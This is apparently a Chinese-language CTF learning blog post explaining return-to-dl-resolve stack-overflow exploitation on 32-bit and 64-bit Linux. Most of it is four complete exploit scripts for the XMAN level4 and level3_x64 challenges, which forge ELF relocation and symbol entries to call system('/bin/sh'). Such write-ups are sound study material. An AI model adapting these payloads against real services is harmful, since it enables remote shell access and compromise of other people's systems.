棧溢出利用之return to dl-resolve實例

最近學習了一下漏洞原理與利用,學習到棧溢出漏洞利用的一些技巧,記錄下自己的學習心得。關於return to dl-resolve的原理,網上有許多的文章已經寫的很清楚了,就不贅述。本文主要是根據return to dl-resolve的原理,實現32位和64位環境下的漏洞利用。

0x00. 準備知識

(1) 實驗環境:
64bit Ubuntu16.04, kernel : 4.4.0
(2) 32位與64位區別:
Linux下32位應用的參數傳遞主要是通過棧來傳遞;而64位應用的前六個參數分別通過RDI, RSI, RDX, RCX, R8和 R9傳遞,如果有多餘的參數,纔會通過棧來傳遞。因此,在覆蓋返回值時,平衡堆棧時就需要用到gadget。
(3) return to dl-resolve
Linux下可執行文件ELF的動態鏈接時,採用了延遲綁定技術。原理是:動態鏈接的庫裏有許多函數,但是可執行文件ELF不會全部調用這些函數,有些函數直到程序運行結束也不會被調用。因此,Linux下的鏈接器動態鏈接時不會進行函數地址重定位,而是等到函數第一次被調用時,進行函數地址重地位,也就是通過_dl_runtime_resolve函數到庫中查找該函數的實際地址,並將其寫入到該函數的got表中。
當棧溢出後,我們就可以控制程序流程到dl-resolve,解析出system函數的地址,從而實現漏洞的利用。

0x01. 32位環境下的return to dl-resolve實例

下面以XMAN level4爲例,分別使用手寫和使用工具roputils實現漏洞利用。
return to dl-resolve by manul

#!/usr/bin/env python

from pwn import *

DEBUG = 1
if DEBUG:
    context.log_level = 'debug'
    p = process('./level4')
    gdb.attach(p)
else:
    p = remote('127.0.0.1', 10086)

offset = 0x8c
stack_size = 0x400
vulfun = 0x0804844b
bss_addr = 0x804a024
base_stage = bss_addr + stack_size

pppr = 0x8048509
p_ebp_r = 0x804850b
leave_r = 0x80483b8

elf = ELF('./level4')
write_plt = elf.plt['write']
read_plt = elf.plt['read']
write_got = elf.got['write']

def main():  
    payload1 = 'A' * offset + p32(read_plt) + p32(pppr) + p32(0) + p32(base_stage)
    payload1 += p32(100) + p32(p_ebp_r) + p32(base_stage) + p32(leave_r)
    p.sendline(payload1)

    plt_start = 0x8048300
    rel_plt = 0x80482b0
    index_offset = (base_stage + 28) - rel_plt
    dynsym_addr = 0x80481cc
    dynstr_addr = 0x804822c
    fake_sym = base_stage + 36
    align = 0x10 - ((fake_sym - dynsym_addr) & 0xf)
    fake_sym = fake_sym +align
    index_dynsym = (fake_sym - dynsym_addr) / 0x10
    r_info = (index_dynsym << 8) | 0x7
    fake_reloc = p32(write_got) + p32(r_info)
    st_name = (fake_sym + 16) - dynstr_addr
    fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

    payload2 = 'B' * 4 + p32(plt_start) +p32(index_offset) + 'C'*4 + p32(base_stage+80)
    payload2 += 'A'*8 + fake_reloc + 'D'*align
    payload2 += fake_sym + 'system\x00'
    payload2 = payload2.ljust(80, 'A')
    payload2 += '/bin/sh\x00'
    payload2 = payload2.ljust(100, 'A')  
    p.sendline(payload2)

    p.interactive()

if __name__ == '__main__':
    main()

return to dl-resolve by roputils

#!/usr/bin/env python

from roputils import *

DEBUG = 1
fpath = './level4'
offset = 0x8c

rop = ROP(fpath)
addr_bss = rop.section('.bss')
addr_plt_read = 0x08048310
addr_got_read = 0x0804a00c

buf = rop.retfill(offset)
# roputils has changed call function in new version
buf += rop.call(addr_plt_read, 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)

if DEBUG:
    p = Proc(rop.fpath)
else:
    p = Proc(host='pwn2.jarvisoj.com', port=9880)

p.write(p32(len(buf)) + buf)
print "[+] read: %r" % p.read(len(buf))

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)

p.write(buf)
p.interact(0)

0x02. 64位環境下的return to dl-resolve實例

下面以XMAN level3_x64爲例,分別使用手寫和使用工具roputils實現漏洞利用。注意64位下的return to dl-resolve與32位不同的地方: 1) Elf64_Rela結構體的大小爲0x18,故reloc_arg爲0x18一個單位,2)Elfo64_Sym結構內的成員順序也有變化,3) 在僞造sym之後,會造成解析過程中VERSYM取值超出範圍,造成segment fault,解決方法是在link_map + 0x1c8的地址置0,因此需要泄漏link_map的地址。

return to dl-resolve by manul

#!/usr/bin/env python

from pwn import *

DEBUG = 1
if DEBUG:
    context.log_level = 'debug'
    p = process('./level3_x64')
    gdb.attach(p, execute='b *0x400550')
else:
    p = remote('pwn2.jarvisoj.com', 9883)

offset = 0x88
plt_start = 0x4004a0
got_write = 0x600A58
got_read = 0x600A60
got_linkmap = 0x600A48
addr_vulfun = 0x4005E6

pop_rdi_ret = 0x4006b3
pop_rbp_ret = 0x400550
leave_ret = 0x400618
base_stage = 0x600A88 + 0x400

addr_rel_plt = 0x400420
addr_dyn_sym = 0x400280
addr_dyn_str = 0x400340
addr_fake_rel_plt = base_stage + 0x100
addr_fake_dyn_sym = base_stage + 0x208
addr_fake_dyn_str = base_stage + 0x300
addr_shell        = base_stage + 0x400

def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
    payload = p64(part1)    # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
    payload += p64(0x0)     # rbx be 0x1
    payload += p64(0x1)     # rbp be 0x1
    payload += p64(jmp2)    # r12 jmp to
    payload += p64(arg3)    # r13 -> rdx  arg3
    payload += p64(arg2)    # r14 -> rsi  arg2
    payload += p64(arg1)    # r15 -> edi  arg1
    payload += p64(part2)   # part2 entry will call [r12 + rbx * 0x8]
    payload += 'A' * 56     # junk
    return payload

def main():

    #1.  leak link_map address
    payload1 = 'A' * offset
    payload1 += com_gadget(0x4006aa, 0x400690, jmp2 = got_write,
               arg1 = 0x1, arg2 = got_linkmap, arg3 = 0x8) 
    payload1 += p64(addr_vulfun)

    p.recvuntil('Input:')
    p.send(payload1)
    p.recv()
    link_map_addr = u64(p.recv(8))
    print 'link_map address is %x' % link_map_addr

    #2.  overwrite link_map+0x1c8 with 0x0, read fake structure
    payload2 = 'B' * offset
    payload2 += com_gadget(0x4006aa, 0x400690, jmp2 = got_read,
               arg1 = 0x0, arg2 = link_map_addr + 0x1c8, arg3 = 0x8) 
    payload2 += com_gadget(0x4006aa, 0x400690, jmp2 = got_read,
               arg1 = 0x0, arg2 = base_stage, arg3 = 0x500)
    payload2 += p64(pop_rbp_ret) + p64(base_stage) + p64(leave_ret)
    p.recvuntil('Input:')
    p.send(payload2)
    p.send(p64(0x0))

    #3.  fake structure
    align_rel_plt = 0x18 - (addr_fake_rel_plt - addr_rel_plt) % (0x18)
    index_offset = (addr_fake_rel_plt - addr_rel_plt + align_rel_plt)/0x18
    payload3 = 'C' * 0x8
    payload3 += p64(pop_rdi_ret)  #set $rdi "/bin/sh"
    payload3 += p64(addr_shell) + p64(plt_start)
    payload3 += p64(index_offset) + p64(0xdeadbeef)
    payload3 = payload3.ljust(0x100, 'A')

    align_dyn_sym = 0x18 - (addr_fake_dyn_sym - addr_dyn_sym)%(0x18)
    r_info = (((addr_fake_dyn_sym - addr_dyn_sym + align_dyn_sym)/(0x18))<<0x20) | 0x7

    payload3 += 'A' * align_rel_plt + p64(got_read) + p64(r_info)
    payload3 = payload3.ljust(0x208, 'A')
    payload3 += 'A' * align_dyn_sym + p32(addr_fake_dyn_str - addr_dyn_str)
    payload3 += p32(0x12) + p64(0x0) + p64(0x0)
    payload3 = payload3.ljust(0x300, 'A')
    payload3 += 'system\x00'
    payload3 = payload3.ljust(0x400, 'A')
    payload3 += '/bin/sh\x00'
    p.send(payload3) 
    p.interactive()

if __name__ == '__main__':
    main()

return to dl-resolve by roputils

#!/usr/bin/env python

from roputils import *

DEBUG = 1
fpath = './level3_x64'
offset = 0x88
p4ret = 0x4006ac

rop = ROP(fpath)
addr_stage = rop.section('.bss') + 0x400
ptr_ret = rop.search(rop.section('.fini'))
write_got = 0x600A58
read_got = 0x600a60

buf = rop.retfill(offset)
buf += rop.call_chain_ptr(
    [write_got, 1, rop.got()+8, 8], 
    [read_got, 0, addr_stage, 350]
, pivot=addr_stage)

if DEBUG:
    p = Proc(rop.fpath)
else:
    p = Proc(host='pwn2.jarvisoj.com', port=9883)

print p.read(7)
raw_input('#1. leak link_map')
p.write(buf)

# print "[+] read: %r" % p.read(len(buf))
addr_link_map = p.read_p64()
print 'addr_link_map %x' % addr_link_map
addr_dt_debug = addr_link_map + 0x1c8

buf = rop.call_chain_ptr(
    [read_got, 0, addr_dt_debug, 8],
    [ptr_ret, addr_stage+310]
)

buf += rop.dl_resolve_call(addr_stage+210)
buf += rop.fill(210, buf)
buf += rop.dl_resolve_data(addr_stage+210, 'system')
buf += rop.fill(310, buf)
buf += rop.string('/bin/sh')
buf += rop.fill(350, buf)

p.write(buf)
p.write_p64(0)
p.interact(0)

參考文獻:

1. ROP之return to dl-resolve
2. 通過ELF動態裝載構造ROP鏈(Return-to-dl-resolve)
3. RCTF-Quals-2015-welpwn

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章